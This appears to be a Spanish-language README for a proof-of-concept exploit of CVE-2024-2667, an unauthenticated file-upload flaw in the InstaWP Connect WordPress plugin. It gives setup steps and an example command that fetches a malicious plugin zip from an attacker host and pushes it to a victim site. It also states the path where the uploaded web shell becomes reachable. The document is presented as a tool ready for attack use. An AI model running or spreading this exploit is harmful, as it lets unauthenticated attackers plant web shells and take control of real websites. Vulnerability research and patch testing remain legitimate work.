CVE-2024-2667-Poc 🚀
Descripción
El plugin InstaWP Connect – 1-click WP Staging & Migration para WordPress es vulnerable a la subida arbitraria de archivos debido a una validación insuficiente de archivos en el endpoint de la API REST /wp-json/instawp-connect/v1/config en todas las versiones hasta la 0.1.0.22 incluida. Esto permite que atacantes no autenticados suban archivos arbitrarios.
Guía de uso del script ⚙️
Requisitos de instalación
| Descripción | Detalles | Icono |
|---|
| Instalar librerías requeridas | Usa pip para instalar las librerías de Python necesarias: requests y beautifulsoup4. | 🛠️ |
| Comando para instalar | Ejecuta: pip install requests beautifulsoup4. | 📥 |
Ejecutar el script
| Descripción | Detalles | Icono |
|---|
| Ejecutar el script | Ejecuta el script usando la línea de comandos con los argumentos requeridos. | 🚀 |
| Argumentos requeridos | - -up: URL del plugin (p. ej., http://attacker-domain/malicious-plugin.zip). | |
| - -u: URL de WordPress objetivo (p. ej., http://victim-domain/). | 🔧 |
| Comando de ejemplo | python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/ | 📜 |
Comprobar vulnerabilidad
| Descripción | Detalles | Icono |
|---|
| Comprobación de versión | El script examina el archivo readme.txt para obtener la versión del plugin objetivo. | 🔍 |
| Versión vulnerable | Si la versión es <= 0.1.0.22, el script muestra: The site is vulnerable. | ⚠️ |
| Versión segura | Si la versión es > 0.1.0.22, el script muestra: The site is not vulnerable. | ✅ |
Ubicación de la shell
| Descripción | Detalles | Icono |
|---|
| Ruta de la shell | Si la subida es exitosa, la shell estará accesible en: | 🐚 |
| wp-content/plugins/instawp-connect/shell.php. | |
Uso -help
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).